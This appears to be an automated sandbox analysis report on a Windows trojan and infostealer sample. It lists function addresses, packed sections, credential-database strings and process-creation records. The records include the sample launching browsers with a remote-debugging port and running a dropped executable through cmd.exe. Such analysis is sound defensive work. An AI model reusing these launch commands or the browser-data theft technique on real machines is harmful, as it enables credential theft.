Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB00E20	1_2_6CB00E20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABEE70	1_2_6CABEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB68FB0	1_2_6CB68FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA2EFB0	1_2_6CA2EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA20FE0	1_2_6CA20FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFEFF0	1_2_6CAFEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB60F20	1_2_6CB60F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA26F10	1_2_6CA26F10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE2F70	1_2_6CAE2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA8EF40	1_2_6CA8EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB268E0	1_2_6CB268E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA70820	1_2_6CA70820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAA820	1_2_6CAAA820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF4840	1_2_6CAF4840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB09A0	1_2_6CAB09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADA9A0	1_2_6CADA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE09B0	1_2_6CAE09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3C9E0	1_2_6CB3C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA549F0	1_2_6CA549F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA76900	1_2_6CA76900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA58960	1_2_6CA58960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA9EA80	1_2_6CA9EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD8A30	1_2_6CAD8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACEA00	1_2_6CACEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA9CA70	1_2_6CA9CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC0BA0	1_2_6CAC0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB26BE0	1_2_6CB26BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB4A480	1_2_6CB4A480
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA664D0	1_2_6CA664D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABA4D0	1_2_6CABA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA84420	1_2_6CA84420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAA430	1_2_6CAAA430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA38460	1_2_6CA38460
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA145B0	1_2_6CA145B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEA5E0	1_2_6CAEA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAE5F0	1_2_6CAAE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA82560	1_2_6CA82560
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC0570	1_2_6CAC0570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB68550	1_2_6CB68550
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA78540	1_2_6CA78540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB24540	1_2_6CB24540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA7E6E0	1_2_6CA7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABE6E0	1_2_6CABE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA446D0	1_2_6CA446D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA7C650	1_2_6CA7C650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA4A7D0	1_2_6CA4A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA0700	1_2_6CAA0700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA300B0	1_2_6CA300B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFC0B0	1_2_6CAFC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA18090	1_2_6CA18090
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEC000	1_2_6CAEC000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE8010	1_2_6CAE8010
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA6E070	1_2_6CA6E070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA201E0	1_2_6CA201E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB04130	1_2_6CB04130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA96130	1_2_6CA96130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA88140	1_2_6CA88140
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF22A0	1_2_6CAF22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEE2B0	1_2_6CAEE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CBA62C0	1_2_6CBA62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF8220	1_2_6CAF8220
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEA210	1_2_6CAEA210
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA8260	1_2_6CAA8260
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB8250	1_2_6CAB8250
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA523A0	1_2_6CA523A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA7E3B0	1_2_6CA7E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA743E0	1_2_6CA743E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA92320	1_2_6CA92320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB62370	1_2_6CB62370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA22370	1_2_6CA22370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3C360	1_2_6CB3C360
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB6370	1_2_6CAB6370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA28340	1_2_6CA28340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABFC80	1_2_6CABFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE1CE0	1_2_6CAE1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB5DCD0	1_2_6CB5DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA31C30	1_2_6CA31C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA23C40	1_2_6CA23C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB49C40	1_2_6CB49C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA13D80	1_2_6CA13D80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB69D90	1_2_6CB69D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF1DC0	1_2_6CAF1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA83D00	1_2_6CA83D00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA43EC0	1_2_6CA43EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB2DE10	1_2_6CB2DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB7BE70	1_2_6CB7BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CBA5E60	1_2_6CBA5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA41F90	1_2_6CA41F90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACBFF0	1_2_6CACBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3DFC0	1_2_6CB3DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CBA3FC0	1_2_6CBA3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA55F20	1_2_6CA55F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA15F30	1_2_6CA15F30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB77F20	1_2_6CB77F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA2D8E0	1_2_6CA2D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA538E0	1_2_6CA538E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB7B8F0	1_2_6CB7B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFF8F0	1_2_6CAFF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABF8C0	1_2_6CABF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA7D810	1_2_6CA7D810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF3840	1_2_6CAF3840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA31980	1_2_6CA31980
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF1990	1_2_6CAF1990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA859F0	1_2_6CA859F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB79F0	1_2_6CAB79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB99C0	1_2_6CAB99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA599D0	1_2_6CA599D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD5920	1_2_6CAD5920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB6F900	1_2_6CB6F900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA9F960	1_2_6CA9F960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADD960	1_2_6CADD960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFDAB0	1_2_6CAFDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA21AE0	1_2_6CA21AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1DA30	1_2_6CB1DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA5FA10	1_2_6CA5FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC1A10	1_2_6CAC1A10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CBA9A50	1_2_6CBA9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA79BA0	1_2_6CA79BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE9BB0	1_2_6CAE9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB05B90	1_2_6CB05B90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA11B80	1_2_6CA11B80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA67BF0	1_2_6CA67BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA6BB20	1_2_6CA6BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFFB60	1_2_6CAFFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CBA14A0	1_2_6CBA14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA214E0	1_2_6CA214E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB09430	1_2_6CB09430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAD410	1_2_6CAAD410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA59590	1_2_6CA59590
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA55F0	1_2_6CAA55F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB6F510	1_2_6CB6F510
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA87500	1_2_6CA87500
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA35510	1_2_6CA35510
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA516A0	1_2_6CA516A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA896A0	1_2_6CA896A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA49600	1_2_6CA49600
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C3E530	32_2_00C3E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C778BB	32_2_00C778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C77049	32_2_00C77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C78860	32_2_00C78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C34DE0	32_2_00C34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C731A8	32_2_00C731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C72D10	32_2_00C72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C7779B	32_2_00C7779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C67F36	32_2_00C67F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00C34B30	32_2_00C34B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBA09D0 appears 329 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA49B10 appears 107 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA43620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBAD930 appears 63 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA7C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB59F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBADAE0 appears 81 times

Source: file.exe, 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2745809608.00000000234E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000001.00000002.2745809608.00000000234E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.2771957820.000000006FD72000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: zpancmjk ZLIB complexity 0.9945702185997596
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: random[1].exe.1.dr	Static PE information: Section: dkmnrssd ZLIB complexity 0.9946245387969589
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: Section: dkmnrssd ZLIB complexity 0.9946245387969589
Source: skotes.exe.28.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.28.dr	Static PE information: Section: dkmnrssd ZLIB complexity 0.9946245387969589
Source: rh[1].exe.32.dr	Static PE information: Section: ZLIB complexity 0.9969982414667896
Source: rh[1].exe.32.dr	Static PE information: Section: ettnbbde ZLIB complexity 0.9923916903409091
Source: rh.exe.32.dr	Static PE information: Section: ZLIB complexity 0.9969982414667896
Source: rh.exe.32.dr	Static PE information: Section: ettnbbde ZLIB complexity 0.9923916903409091

Source: rh.exe.32.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: rh[1].exe.32.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/294@22/28

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CA80300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

1_2_6CA80300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\IW4DO8NK.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\85ab73aa-31c6-40ba-ac30-0a48fc7aea22.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000001.00000003.2494251357.000000001D3B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2407709229.000000001D395000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.1.dr, KKFBFCAFCBKFIEBFHIDB.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.2742407083.000000001D492000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2757594389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJDGCGHCGHC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2376,i,6617676585187416704,17059390612542835592,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2172,i,2543754135559751923,12033645619070038089,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6216 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCGHCGHC.exe "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6120 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
